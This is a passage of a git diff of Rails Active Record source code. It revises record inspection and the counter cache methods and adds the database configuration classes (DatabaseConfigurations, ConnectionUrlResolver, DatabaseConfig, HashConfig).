-        if defined?(@attributes) && @attributes
-          column_names = self.class.column_names.select { |name| has_attribute?(name) || new_record? }
-          pp.seplist(column_names, proc { pp.text "," }) do |column_name|
-            column_value = read_attribute(column_name)
+        if @attributes
+          attr_names = attributes_for_inspect.select { |name| _has_attribute?(name.to_s) }
+          pp.seplist(attr_names, proc { pp.text "," }) do |attr_name|
+            attr_name = attr_name.to_s
             pp.breakable " "
             pp.group(1) do
-              pp.text column_name
+              pp.text attr_name
               pp.text ":"
               pp.breakable
-              pp.pp column_value
+              value = attribute_for_inspect(attr_name)
+              pp.text value
             end
           end
         else
@@ -534,13 +821,7 @@ def pretty_print(pp)
       end
     end
 
-    # Returns a hash of the given methods with their names as keys and returned values as values.
-    def slice(*methods)
-      Hash[methods.flatten.map! { |method| [method, public_send(method)] }].with_indifferent_access
-    end
-
     private
-
       # +Array#flatten+ will call +#to_ary+ (recursively) on each of the elements of
       # the array, and then rescues from the possible +NoMethodError+. If those elements are
       # +ActiveRecord::Base+'s, then this triggers the various +method_missing+'s that we have,
@@ -548,33 +829,69 @@ def slice(*methods)
       #
       # So we can avoid the +method_missing+ hit by explicitly defining +#to_ary+ as +nil+ here.
       #
-      # See also http://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary.html
+      # See also https://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary.html
       def to_ary
         nil
       end
 
       def init_internals
         @readonly                 = false
+        @previously_new_record    = false
         @destroyed                = false
         @marked_for_destruction   = false
         @destroyed_by_association = nil
-        @new_record               = true
-        @txn                      = nil
-        @_start_transaction_state = {}
-        @transaction_state        = nil
+        @_start_transaction_state = nil
+
+        klass = self.class
+
+        @primary_key         = klass.primary_key
+        @strict_loading      = klass.strict_loading_by_default
+        @strict_loading_mode = klass.strict_loading_mode
+
+        klass.define_attribute_methods
       end
 
       def initialize_internals_callback
       end
 
-      def thaw
-        if frozen?
-          @attributes = @attributes.dup
+      def custom_inspect_method_defined?
+        self.class.instance_method(:inspect).owner != ActiveRecord::Base.instance_method(:inspect).owner
+      end
+
+      class InspectionMask < ActiveSupport::Delegation::DelegateClass(::String)
+        def pretty_print(pp)
+          pp.text __getobj__
         end
       end
+      private_constant :InspectionMask
 
-      def custom_inspect_method_defined?
-        self.class.instance_method(:inspect).owner != ActiveRecord::Base.instance_method(:inspect).owner
+      def inspection_filter
+        self.class.inspection_filter
+      end
+
+      def inspect_with_attributes(attributes_to_list)
+        inspection = if @attributes
+          attributes_to_list.filter_map do |name|
+            name = name.to_s
+            if _has_attribute?(name)
+              "#{name}: #{attribute_for_inspect(name)}"
+            end
+          end.join(", ")
+        else
+          "not initialized"
+        end
+
+        "#<#{self.class} #{inspection}>"
+      end
+
+      def attributes_for_inspect
+        self.class.attributes_for_inspect == :all ? all_attributes_for_inspect : self.class.attributes_for_inspect
+      end
+
+      def all_attributes_for_inspect
+        return [] unless @attributes
+
+        attribute_names
       end
   end
 end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index cbd71a37796f6..b4946d46a472a 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -1,8 +1,15 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record Counter Cache
   module CounterCache
     extend ActiveSupport::Concern
 
+    included do
+      class_attribute :_counter_cache_columns, instance_accessor: false, default: []
+      class_attribute :counter_cached_association_names, instance_writer: false, default: []
+    end
+
     module ClassMethods
       # Resets one or more counter caches to their correct value using an SQL
       # count query. This is useful when adding new counter caches, or if the
@@ -10,7 +17,7 @@ module ClassMethods
       #
       # ==== Parameters
       #
-      # * +id+ - The id of the object you wish to reset a counter on.
+      # * +id+ - The id of the object you wish to reset a counter on or an array of ids.
       # * +counters+ - One or more association counters to reset. Association name or counter name can be given.
       # * <tt>:touch</tt> - Touch timestamp columns when updating.
       #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
@@ -21,11 +28,24 @@ module ClassMethods
       #   # For the Post with id #1, reset the comments_count
       #   Post.reset_counters(1, :comments)
       #
-      #   # Like above, but also touch the +updated_at+ and/or +updated_on+
+      #   # For posts with ids #1 and #2, reset the comments_count
+      #   Post.reset_counters([1, 2], :comments)
+      #
+      #   # Like above, but also touch the updated_at and/or updated_on
       #   # attributes.
       #   Post.reset_counters(1, :comments, touch: true)
       def reset_counters(id, *counters, touch: nil)
-        object = find(id)
+        ids = if composite_primary_key?
+          if id.first.is_a?(Array)
+            id
+          else
+            [id]
+          end
+        else
+          Array(id)
+        end
+
+        updates = Hash.new { |h, k| h[k] = {} }
 
         counters.each do |counter_association|
           has_many_association = _reflect_on_association(counter_association)
@@ -40,18 +60,40 @@ def reset_counters(id, *counters, touch: nil)
             has_many_association = has_many_association.through_reflection
           end
 
+          counter_association = counter_association.to_sym
           foreign_key  = has_many_association.foreign_key.to_s
           child_class  = has_many_association.klass
           reflection   = child_class._reflections.values.find { |e| e.belongs_to? && e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
           counter_name = reflection.counter_cache_column
 
-          updates = { counter_name.to_sym => object.send(counter_association).count(:all) }
-          updates.merge!(touch_updates(touch)) if touch
+          counts =
+            unscoped
+              .joins(counter_association)
+              .where(primary_key => ids)
+              .group(primary_key)
+              .count(:all)
 
-          unscoped.where(primary_key => object.id).update_all(updates)
+          ids.each do |id|
+            updates[id].merge!(counter_name => counts[id] || 0)
+          end
         end
 
-        return true
+        if touch
+          names = touch if touch != true
+          names = Array.wrap(names)
+          options = names.extract_options!
+          touch_updates = touch_attributes_with_time(*names, **options)
+
+          updates.each_value do |record_updates|
+            record_updates.merge!(touch_updates)
+          end
+        end
+
+        updates.each do |id, record_updates|
+          unscoped.where(primary_key => [id]).update_all(record_updates)
+        end
+
+        true
       end
 
       # A generic "counter updater" implementation, intended primarily to be
@@ -66,50 +108,38 @@ def reset_counters(id, *counters, touch: nil)
       # * +counters+ - A Hash containing the names of the fields
       #   to update as keys and the amount to update the field by as values.
       # * <tt>:touch</tt> option - Touch timestamp columns when updating.
-      #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
-      #   touch that column or an array of symbols to touch just those ones.
+      #   If attribute names are passed, they are updated along with updated_at/on
+      #   attributes.
       #
       # ==== Examples
       #
-      #   # For the Post with id of 5, decrement the comment_count by 1, and
-      #   # increment the action_count by 1
-      #   Post.update_counters 5, comment_count: -1, action_count: 1
+      #   # For the Post with id of 5, decrement the comments_count by 1, and
+      #   # increment the actions_count by 1
+      #   Post.update_counters 5, comments_count: -1, actions_count: 1
       #   # Executes the following SQL:
       #   # UPDATE posts
-      #   #    SET comment_count = COALESCE(comment_count, 0) - 1,
-      #   #        action_count = COALESCE(action_count, 0) + 1
+      #   #    SET comments_count = COALESCE(comments_count, 0) - 1,
+      #   #        actions_count = COALESCE(actions_count, 0) + 1
       #   #  WHERE id = 5
       #
-      #   # For the Posts with id of 10 and 15, increment the comment_count by 1
-      #   Post.update_counters [10, 15], comment_count: 1
+      #   # For the Posts with id of 10 and 15, increment the comments_count by 1
+      #   Post.update_counters [10, 15], comments_count: 1
       #   # Executes the following SQL:
       #   # UPDATE posts
-      #   #    SET comment_count = COALESCE(comment_count, 0) + 1
+      #   #    SET comments_count = COALESCE(comments_count, 0) + 1
       #   #  WHERE id IN (10, 15)
       #
-      #   # For the Posts with id of 10 and 15, increment the comment_count by 1
+      #   # For the Posts with id of 10 and 15, increment the comments_count by 1
       #   # and update the updated_at value for each counter.
-      #   Post.update_counters [10, 15], comment_count: 1, touch: true
+      #   Post.update_counters [10, 15], comments_count: 1, touch: true
       #   # Executes the following SQL:
       #   # UPDATE posts
-      #   #    SET comment_count = COALESCE(comment_count, 0) + 1,
+      #   #    SET comments_count = COALESCE(comments_count, 0) + 1,
       #   #    `updated_at` = '2016-10-13T09:59:23-05:00'
       #   #  WHERE id IN (10, 15)
       def update_counters(id, counters)
-        touch = counters.delete(:touch)
-
-        updates = counters.map do |counter_name, value|
-          operator = value < 0 ? "-" : "+"
-          quoted_column = connection.quote_column_name(counter_name)
-          "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
-        end
-
-        if touch
-          touch_updates = touch_updates(touch)
-          updates << sanitize_sql_for_assignment(touch_updates) unless touch_updates.empty?
-        end
-
-        unscoped.where(primary_key => id).update_all updates.join(", ")
+        id = [id] if composite_primary_key? && id.is_a?(Array) && !id[0].is_a?(Array)
+        unscoped.where!(primary_key => id).update_counters(counters)
       end
 
       # Increment a numeric field by one, via a direct SQL update.
@@ -123,6 +153,7 @@ def update_counters(id, counters)
       #
       # * +counter_name+ - The name of the field that should be incremented.
       # * +id+ - The id of the object that should be incremented or an array of ids.
+      # * <tt>:by</tt> - The amount by which to increment the value. Defaults to +1+.
       # * <tt>:touch</tt> - Touch timestamp columns when updating.
       #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
       #   touch that column or an array of symbols to touch just those ones.
@@ -133,10 +164,14 @@ def update_counters(id, counters)
       #   DiscussionBoard.increment_counter(:posts_count, 5)
       #
       #   # Increment the posts_count column for the record with an id of 5
+      #   # by a specific amount.
+      #   DiscussionBoard.increment_counter(:posts_count, 5, by: 3)
+      #
+      #   # Increment the posts_count column for the record with an id of 5
       #   # and update the updated_at value.
       #   DiscussionBoard.increment_counter(:posts_count, 5, touch: true)
-      def increment_counter(counter_name, id, touch: nil)
-        update_counters(id, counter_name => 1, touch: touch)
+      def increment_counter(counter_name, id, by: 1, touch: nil)
+        update_counters(id, counter_name => by, touch: touch)
       end
 
       # Decrement a numeric field by one, via a direct SQL update.
@@ -148,6 +183,7 @@ def increment_counter(counter_name, id, touch: nil)
       #
       # * +counter_name+ - The name of the field that should be decremented.
       # * +id+ - The id of the object that should be decremented or an array of ids.
+      # * <tt>:by</tt> - The amount by which to decrement the value. Defaults to +1+.
       # * <tt>:touch</tt> - Touch timestamp columns when updating.
       #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
       #   touch that column or an array of symbols to touch just those ones.
@@ -158,30 +194,39 @@ def increment_counter(counter_name, id, touch: nil)
       #   DiscussionBoard.decrement_counter(:posts_count, 5)
       #
       #   # Decrement the posts_count column for the record with an id of 5
+      #   by a specific amount.
+      #   DiscussionBoard.decrement_counter(:posts_count, 5, by: 3)
+      #
+      #   # Decrement the posts_count column for the record with an id of 5
       #   # and update the updated_at value.
       #   DiscussionBoard.decrement_counter(:posts_count, 5, touch: true)
-      def decrement_counter(counter_name, id, touch: nil)
-        update_counters(id, counter_name => -1, touch: touch)
+      def decrement_counter(counter_name, id, by: 1, touch: nil)
+        update_counters(id, counter_name => -by, touch: touch)
+      end
+
+      def counter_cache_column?(name) # :nodoc:
+        _counter_cache_columns.include?(name)
       end
 
-      private
-        def touch_updates(touch)
-          touch = timestamp_attributes_for_update_in_model if touch == true
-          touch_time = current_time_from_proper_timezone
-          Array(touch).map { |column| [ column, touch_time ] }.to_h
+      def load_schema! # :nodoc:
+        super
+
+        association_names = _reflections.filter_map do |name, reflection|
+          next unless reflection.belongs_to? && reflection.counter_cache_column
+
+          name.to_sym
         end
+
+        self.counter_cached_association_names |= association_names
+      end
     end
 
     private
-
-      def _create_record(*)
+      def _create_record(attribute_names = self.attribute_names)
         id = super
 
-        each_counter_cached_associations do |association|
-          if send(association.reflection.name)
-            association.increment_counters
-            @_after_create_counter_called = true
-          end
+        counter_cached_association_names.each do |association_name|
+          association(association_name).increment_counters
         end
 
         id
@@ -191,12 +236,11 @@ def destroy_row
         affected_rows = super
 
         if affected_rows > 0
-          each_counter_cached_associations do |association|
-            foreign_key = association.reflection.foreign_key.to_sym
-            unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
-              if send(association.reflection.name)
-                association.decrement_counters
-              end
+          counter_cached_association_names.each do |association_name|
+            association = association(association_name)
+
+            unless destroyed_by_association && _foreign_keys_equal?(destroyed_by_association.foreign_key, association.reflection.foreign_key)
+              association.decrement_counters
             end
           end
         end
@@ -204,10 +248,8 @@ def destroy_row
         affected_rows
       end
 
-      def each_counter_cached_associations
-        _reflections.each do |name, reflection|
-          yield association(name.to_sym) if reflection.belongs_to? && reflection.counter_cache_column
-        end
+      def _foreign_keys_equal?(fkey1, fkey2)
+        fkey1 == fkey2 || Array(fkey1).map(&:to_sym) == Array(fkey2).map(&:to_sym)
       end
   end
 end
diff --git a/activerecord/lib/active_record/database_configurations.rb b/activerecord/lib/active_record/database_configurations.rb
new file mode 100644
index 0000000000000..b3054b71c79df
--- /dev/null
+++ b/activerecord/lib/active_record/database_configurations.rb
@@ -0,0 +1,313 @@
+# frozen_string_literal: true
+
+require "uri"
+require "active_record/database_configurations/database_config"
+require "active_record/database_configurations/hash_config"
+require "active_record/database_configurations/url_config"
+require "active_record/database_configurations/connection_url_resolver"
+
+module ActiveRecord
+  # = Active Record Database Configurations
+  #
+  # +ActiveRecord::DatabaseConfigurations+ returns an array of +DatabaseConfig+
+  # objects that are constructed from the application's database
+  # configuration hash or URL string.
+  #
+  # The array of +DatabaseConfig+ objects in an application default to either a
+  # HashConfig or UrlConfig. You can retrieve your application's config by using
+  # ActiveRecord::Base.configurations.
+  #
+  # If you register a custom handler, objects will be created according to the
+  # conditions of the handler. See ::register_db_config_handler for more on
+  # registering custom handlers.
+  class DatabaseConfigurations
+    class InvalidConfigurationError < StandardError; end
+
+    attr_reader :configurations
+    delegate :any?, to: :configurations
+
+    singleton_class.attr_accessor :db_config_handlers # :nodoc:
+    self.db_config_handlers = [] # :nodoc:
+
+    # Allows an application to register a custom handler for database configuration
+    # objects. This is useful for creating a custom handler that responds to
+    # methods your application needs but Active Record doesn't implement. For
+    # example if you are using Vitess, you may want your Vitess configurations
+    # to respond to `sharded?`. To implement this define the following in an
+    # initializer:
+    #
+    #   ActiveSupport.on_load(:active_record_database_configurations) do
+    #     ActiveRecord::DatabaseConfigurations.register_db_config_handler do |env_name, name, url, config|
+    #       next unless config.key?(:vitess)
+    #       VitessConfig.new(env_name, name, config)
+    #     end
+    #   end
+    #
+    # Note: applications must handle the condition in which custom config should be
+    # created in your handler registration otherwise all objects will use the custom
+    # handler.
+    #
+    # Then define your +VitessConfig+ to respond to the methods your application
+    # needs. It is recommended that you inherit from one of the existing
+    # database config classes to avoid having to reimplement all methods. Custom
+    # config handlers should only implement methods Active Record does not.
+    #
+    #   class VitessConfig < ActiveRecord::DatabaseConfigurations::UrlConfig
+    #     def sharded?
+    #       configuration_hash.fetch("sharded", false)
+    #     end
+    #   end
+    #
+    # For configs that have a +:vitess+ key, a +VitessConfig+ object will be
+    # created instead of a +UrlConfig+.
+    def self.register_db_config_handler(&block)
+      db_config_handlers << block
+    end
+
+    register_db_config_handler do |env_name, name, url, config|
+      if url
+        UrlConfig.new(env_name, name, url, config)
+      else
+        HashConfig.new(env_name, name, config)
+      end
+    end
+
+    def initialize(configurations = {})
+      @configurations = build_configs(configurations)
+    end
+
+    # Collects the configs for the environment and optionally the specification
+    # name passed in. To include replica configurations pass <tt>include_hidden: true</tt>.
+    #
+    # If a name is provided a single +DatabaseConfig+ object will be
+    # returned, otherwise an array of +DatabaseConfig+ objects will be
+    # returned that corresponds with the environment and type requested.
+    #
+    # ==== Options
+    #
+    # * <tt>env_name:</tt> The environment name. Defaults to +nil+ which will collect
+    #   configs for all environments.
+    # * <tt>name:</tt> The db config name (i.e. primary, animals, etc.). Defaults
+    #   to +nil+. If no +env_name+ is specified the config for the default env and the
+    #   passed +name+ will be returned.
+    # * <tt>config_key:</tt> Selects configs that contain a particular key in the configuration
+    #   hash. Useful for selecting configs that use a custom db config handler or finding
+    #   configs with hashes that contain a particular key.
+    # * <tt>include_hidden:</tt> Determines whether to include replicas and configurations
+    #   hidden by <tt>database_tasks: false</tt> in the returned list. Most of the time we're only
+    #   iterating over the primary connections (i.e. migrations don't need to run for the
+    #   write and read connection). Defaults to +false+.
+    def configs_for(env_name: nil, name: nil, config_key: nil, include_hidden: false)
+      env_name ||= default_env if name
+      configs = env_with_configs(env_name)
+
+      unless include_hidden
+        configs = configs.select do |db_config|
+          db_config.database_tasks?
+        end
+      end
+
+      if config_key
+        configs = configs.select do |db_config|
+          db_config.configuration_hash.key?(config_key)
+        end
+      end
+
+      if name
+        configs.find do |db_config|
+          db_config.name == name.to_s
+        end
+      else
+        configs
+      end
+    end
+
+    # Returns a single +DatabaseConfig+ object based on the requested environment.
+    #
+    # If the application has multiple databases +find_db_config+ will return
+    # the first +DatabaseConfig+ for the environment.
+    def find_db_config(env)
+      env = env.to_s
+      configurations.find do |db_config|
+        db_config.for_current_env? && (db_config.env_name == env || db_config.name == env)
+      end || configurations.find do |db_config|
+        db_config.env_name == env
+      end
+    end
+
+    # A primary configuration is one that is named primary or if there is
+    # no primary, the first configuration for an environment will be treated
+    # as primary. This is used as the "default" configuration and is used
+    # when the application needs to treat one configuration differently. For
+    # example, when Rails dumps the schema, the primary configuration's schema
+    # file will be named `schema.rb` instead of `primary_schema.rb`.
+    def primary?(name) # :nodoc:
+      return true if name == "primary"
+
+      first_config = find_db_config(default_env)
+      first_config && name == first_config.name
+    end
+
+    # Checks if the application's configurations are empty.
+    def empty?
+      configurations.empty?
+    end
+    alias :blank? :empty?
+
+    # Returns fully resolved connection, accepts hash, string or symbol.
+    # Always returns a DatabaseConfiguration::DatabaseConfig
+    #
+    # == Examples
+    #
+    # Symbol representing current environment.
+    #
+    #   DatabaseConfigurations.new("production" => {}).resolve(:production)
+    #   # => DatabaseConfigurations::HashConfig.new(env_name: "production", config: {})
+    #
+    # One layer deep hash of connection values.
+    #
+    #   DatabaseConfigurations.new({}).resolve("adapter" => "sqlite3")
+    #   # => DatabaseConfigurations::HashConfig.new(config: {"adapter" => "sqlite3"})
+    #
+    # Connection URL.
+    #
+    #   DatabaseConfigurations.new({}).resolve("postgresql://localhost/foo")
+    #   # => DatabaseConfigurations::UrlConfig.new(config: {"adapter" => "postgresql", "host" => "localhost", "database" => "foo"})
+    def resolve(config) # :nodoc:
+      return config if DatabaseConfigurations::DatabaseConfig === config
+
+      case config
+      when Symbol
+        resolve_symbol_connection(config)
+      when Hash, String
+        build_db_config_from_raw_config(default_env, "primary", config)
+      else
+        raise TypeError, "Invalid type for configuration. Expected Symbol, String, or Hash. Got #{config.inspect}"
+      end
+    end
+
+    private
+      def default_env
+        ActiveRecord::ConnectionHandling::DEFAULT_ENV.call.to_s
+      end
+
+      def env_with_configs(env = nil)
+        if env
+          configurations.select { |db_config| db_config.env_name == env }
+        else
+          configurations
+        end
+      end
+
+      def build_configs(configs)
+        return configs.configurations if configs.is_a?(DatabaseConfigurations)
+        return configs if configs.is_a?(Array)
+
+        db_configs = configs.flat_map do |env_name, config|
+          if config.is_a?(Hash) && config.values.all?(Hash)
+            walk_configs(env_name.to_s, config)
+          else
+            build_db_config_from_raw_config(env_name.to_s, "primary", config)
+          end
+        end
+
+        unless db_configs.find(&:for_current_env?)
+          db_configs << environment_url_config(default_env, "primary", {})
+        end
+
+        merge_db_environment_variables(default_env, db_configs.compact)
+      end
+
+      def walk_configs(env_name, config)
+        config.map do |name, sub_config|
+          build_db_config_from_raw_config(env_name, name.to_s, sub_config)
+        end
+      end
+
+      def resolve_symbol_connection(name)
+        if db_config = find_db_config(name)
+          db_config
+        else
+          raise AdapterNotSpecified, <<~MSG
+            The `#{name}` database is not configured for the `#{default_env}` environment.
+
+              Available database configurations are:
+
+              #{build_configuration_sentence}
+          MSG
+        end
+      end
+
+      def build_configuration_sentence
+        configs = configs_for(include_hidden: true)
+
+        configs.group_by(&:env_name).map do |env, config|
+          names = config.map(&:name)
+          if names.size > 1
+            "#{env}: #{names.join(", ")}"
+          else
+            env
+          end
+        end.join("\n")
+      end
+
+      def build_db_config_from_raw_config(env_name, name, config)
+        case config
+        when String
+          build_db_config_from_string(env_name, name, config)
+        when Hash
+          build_db_config_from_hash(env_name, name, config.symbolize_keys)
+        else
+          raise InvalidConfigurationError, "'{ #{env_name} => #{config} }' is not a valid configuration. Expected '#{config}' to be a URL string or a Hash."
+        end
+      end
+
+      def build_db_config_from_string(env_name, name, config)
+        url = config
+        uri = URI.parse(url)
+        if uri.scheme
+          UrlConfig.new(env_name, name, url)
+        else
+          raise InvalidConfigurationError, "'{ #{env_name} => #{config} }' is not a valid configuration. Expected '#{config}' to be a URL string or a Hash."
+        end
+      end
+
+      def build_db_config_from_hash(env_name, name, config)
+        url = config[:url]
+        config_without_url = config.dup
+        config_without_url.delete :url
+
+        DatabaseConfigurations.db_config_handlers.reverse_each do |handler|
+          config = handler.call(env_name, name, url, config_without_url)
+          return config if config
+        end
+
+        nil
+      end
+
+      def merge_db_environment_variables(current_env, configs)
+        configs.map do |config|
+          next config if config.is_a?(UrlConfig) || config.env_name != current_env
+
+          url_config = environment_url_config(current_env, config.name, config.configuration_hash)
+          url_config || config
+        end
+      end
+
+      def environment_url_config(env, name, config)
+        url = environment_value_for(name)
+        return unless url
+
+        UrlConfig.new(env, name, url, config)
+      end
+
+      def environment_value_for(name)
+        name_env_key = "#{name.upcase}_DATABASE_URL"
+        url = ENV[name_env_key]
+        url ||= ENV["DATABASE_URL"] if name == "primary"
+        url
+      end
+  end
+
+  ActiveSupport.run_load_hooks(:active_record_database_configurations, DatabaseConfigurations)
+end
diff --git a/activerecord/lib/active_record/database_configurations/connection_url_resolver.rb b/activerecord/lib/active_record/database_configurations/connection_url_resolver.rb
new file mode 100644
index 0000000000000..ffc07eebdb9a4
--- /dev/null
+++ b/activerecord/lib/active_record/database_configurations/connection_url_resolver.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+require "uri"
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/hash/reverse_merge"
+
+module ActiveRecord
+  class DatabaseConfigurations
+    # Expands a connection string into a hash.
+    class ConnectionUrlResolver # :nodoc:
+      # == Example
+      #
+      #   url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+      #   ConnectionUrlResolver.new(url).to_hash
+      #   # => {
+      #     adapter:  "postgresql",
+      #     host:     "localhost",
+      #     port:     9000,
+      #     database: "foo_test",
+      #     username: "foo",
+      #     password: "bar",
+      #     pool:     "5",
+      #     timeout:  "3000"
+      #   }
+      def initialize(url)
+        raise "Database URL cannot be empty" if url.blank?
+        @uri     = uri_parser.parse(url)
+        @adapter = resolved_adapter
+
+        if @uri.opaque
+          @uri.opaque, @query = @uri.opaque.split("?", 2)
+        else
+          @query = @uri.query
+        end
+      end
+
+      # Converts the given URL to a full connection hash.
+      def to_hash
+        config = raw_config.compact_blank
+        config.map { |key, value| config[key] = uri_parser.unescape(value) if value.is_a? String }
+        config
+      end
+
+      private
+        attr_reader :uri
+
+        def uri_parser
+          @uri_parser ||= URI::RFC2396_Parser.new
+        end
+
+        # Converts the query parameters of the URI into a hash.
+        #
+        #   "localhost?pool=5&reaping_frequency=2"
+        #   # => { pool: "5", reaping_frequency: "2" }
+        #
+        # returns empty hash if no query present.
+        #
+        #   "localhost"
+        #   # => {}
+        def query_hash
+          Hash[(@query || "").split("&").map { |pair| pair.split("=", 2) }].symbolize_keys
+        end
+
+        def raw_config
+          if uri.opaque
+            query_hash.merge(
+              adapter: @adapter,
+              database: uri.opaque
+            )
+          else
+            query_hash.reverse_merge(
+              adapter: @adapter,
+              username: uri.user,
+              password: uri.password,
+              port: uri.port,
+              database: database_from_path,
+              host: uri.hostname
+            )
+          end
+        end
+
+        def resolved_adapter
+          adapter = uri.scheme && @uri.scheme.tr("-", "_")
+          if adapter && ActiveRecord.protocol_adapters[adapter]
+            adapter = ActiveRecord.protocol_adapters[adapter]
+          end
+          adapter
+        end
+
+        # Returns name of the database.
+        def database_from_path
+          if @adapter == "sqlite3"
+            # 'sqlite3:/foo' is absolute, because that makes sense. The
+            # corresponding relative version, 'sqlite3:foo', is handled
+            # elsewhere, as an "opaque".
+
+            uri.path
+          else
+            # Only SQLite uses a filename as the "database" name; for
+            # anything else, a leading slash would be silly.
+
+            uri.path.delete_prefix("/")
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/database_configurations/database_config.rb b/activerecord/lib/active_record/database_configurations/database_config.rb
new file mode 100644
index 0000000000000..e3b5e0d6747ed
--- /dev/null
+++ b/activerecord/lib/active_record/database_configurations/database_config.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class DatabaseConfigurations
+    # ActiveRecord::Base.configurations will return either a HashConfig or
+    # UrlConfig respectively. It will never return a +DatabaseConfig+ object,
+    # as this is the parent class for the types of database configuration objects.
+    class DatabaseConfig # :nodoc:
+      attr_reader :env_name, :name
+
+      def initialize(env_name, name)
+        @env_name = env_name
+        @name = name
+        @adapter_class = nil
+      end
+
+      def adapter_class
+        @adapter_class ||= ActiveRecord::ConnectionAdapters.resolve(adapter)
+      end
+
+      def inspect # :nodoc:
+        "#<#{self.class.name} env_name=#{@env_name} name=#{@name} adapter_class=#{adapter_class}>"
+      end
+
+      def new_connection
+        adapter_class.new(configuration_hash)
+      end
+
+      def validate!
+        adapter_class if adapter
+
+        true
+      end
+
+      def host
+        raise NotImplementedError
+      end
+
+      def database
+        raise NotImplementedError
+      end
+
+      def _database=(database)
+        raise NotImplementedError
+      end
+
+      def adapter
+        raise NotImplementedError
+      end
+
+      def min_connections
+        raise NotImplementedError
+      end
+
+      def max_connections
+        raise NotImplementedError
+      end
+
+      def min_threads
+        raise NotImplementedError
+      end
+
+      def max_threads
+        raise NotImplementedError
+      end
+
+      def max_queue
+        raise NotImplementedError
+      end
+
+      def query_cache
+        raise NotImplementedError
+      end
+
+      def checkout_timeout
+        raise NotImplementedError
+      end
+
+      def reaping_frequency
+        raise NotImplementedError
+      end
+
+      def idle_timeout
+        raise NotImplementedError
+      end
+
+      def replica?
+        raise NotImplementedError
+      end
+
+      def migrations_paths
+        raise NotImplementedError
+      end
+
+      def for_current_env?
+        env_name == ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+      end
+
+      def schema_cache_path
+        raise NotImplementedError
+      end
+
+      def use_metadata_table?
+        raise NotImplementedError
+      end
+
+      def seeds?
+        raise NotImplementedError
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/database_configurations/hash_config.rb b/activerecord/lib/active_record/database_configurations/hash_config.rb
new file mode 100644
index 0000000000000..adc2095de1ad1
--- /dev/null
+++ b/activerecord/lib/active_record/database_configurations/hash_config.rb
@@ -0,0 +1,230 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActiveRecord
+  class DatabaseConfigurations
+    # # Active Record Database Hash Config
+    #
+    # A `HashConfig` object is created for each database configuration entry that is
+    # created from a hash.
+    #
+    # A hash config:
+    #
+    #     { "development" => { "database" => "db_name" } }
+    #
+    # Becomes:
+    #
+    #     #<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbded10
+    #       @env_name="development", @name="primary", @config={database: "db_name"}>
+    #
+    # See ActiveRecord::DatabaseConfigurations for more info.
+    class HashConfig < DatabaseConfig
+      attr_reader :configuration_hash
+
+      # Initialize a new `HashConfig` object
+      #
+      # #### Parameters
+      #
+      # *   `env_name` - The Rails environment, i.e. "development".
+      # *   `name` - The db config name. In a standard two-tier database configuration
+      #     this will default to "primary". In a multiple database three-tier database
+      #     configuration this corresponds to the name used in the second tier, for
+      #     example "primary_readonly".
+      # *   `configuration_hash` - The config hash. This is the hash that contains the
+      #     database adapter, name, and other important information for database
+      #     connections.
+      #
+      def initialize(env_name, name, configuration_hash)
+        super(env_name, name)
+        @configuration_hash = configuration_hash.symbolize_keys.freeze
+        validate_configuration!
+      end
+
+      # Determines whether a database configuration is for a replica / readonly
+      # connection. If the `replica` key is present in the config, `replica?` will
+      # return `true`.
+      def replica?
+        configuration_hash[:replica]
+      end
+
+      # The migrations paths for a database configuration. If the `migrations_paths`
+      # key is present in the config, `migrations_paths` will return its value.
+      def migrations_paths
+        configuration_hash[:migrations_paths]
+      end
+
+      def host
+        configuration_hash[:host]
+      end
+
+      def socket # :nodoc:
+        configuration_hash[:socket]
+      end
+
+      def database
+        configuration_hash[:database]
+      end
+
+      def _database=(database) # :nodoc:
+        @configuration_hash = configuration_hash.merge(database: database).freeze
+      end
+
+      def max_connections
+        max_connections = configuration_hash.fetch(:max_connections) {
+          configuration_hash.fetch(:pool, 5)
+        }&.to_i
+        max_connections if max_connections && max_connections >= 0
+      end
+
+      def min_connections
+        (configuration_hash[:min_connections] || 0).to_i
+      end
+
+      alias :pool :max_connections
+      deprecate pool: :max_connections, deprecator: ActiveRecord.deprecator
+
+      def min_threads
+        (configuration_hash[:min_threads] || 0).to_i
+      end
+
+      def max_threads
+        (configuration_hash[:max_threads] || (max_connections || 5).clamp(0, 5)).to_i
+      end
+
+      def max_age
+        v = configuration_hash[:max_age]&.to_i
+        if v && v > 0
+          v
+        else
+          Float::INFINITY
+        end
+      end
+
+      def query_cache
+        configuration_hash[:query_cache]
+      end
+
+      def max_queue
+        max_threads * 4
+      end
+
+      def checkout_timeout
+        (configuration_hash[:checkout_timeout] || 5).to_f
+      end
+
+      def reaping_frequency # :nodoc:
+        configuration_hash.fetch(:reaping_frequency, default_reaping_frequency)&.to_f
+      end
+
+      def idle_timeout
+        timeout = configuration_hash.fetch(:idle_timeout, 300).to_f
+        timeout if timeout > 0
+      end
+
+      def keepalive
+        keepalive = (configuration_hash[:keepalive] || 600).to_f
+        keepalive if keepalive > 0
+      end
+
+      def adapter
+        configuration_hash[:adapter]&.to_s
+      end
+
+      # The path to the schema cache dump file for a database. If omitted, the
+      # filename will be read from ENV or a default will be derived.
+      def schema_cache_path
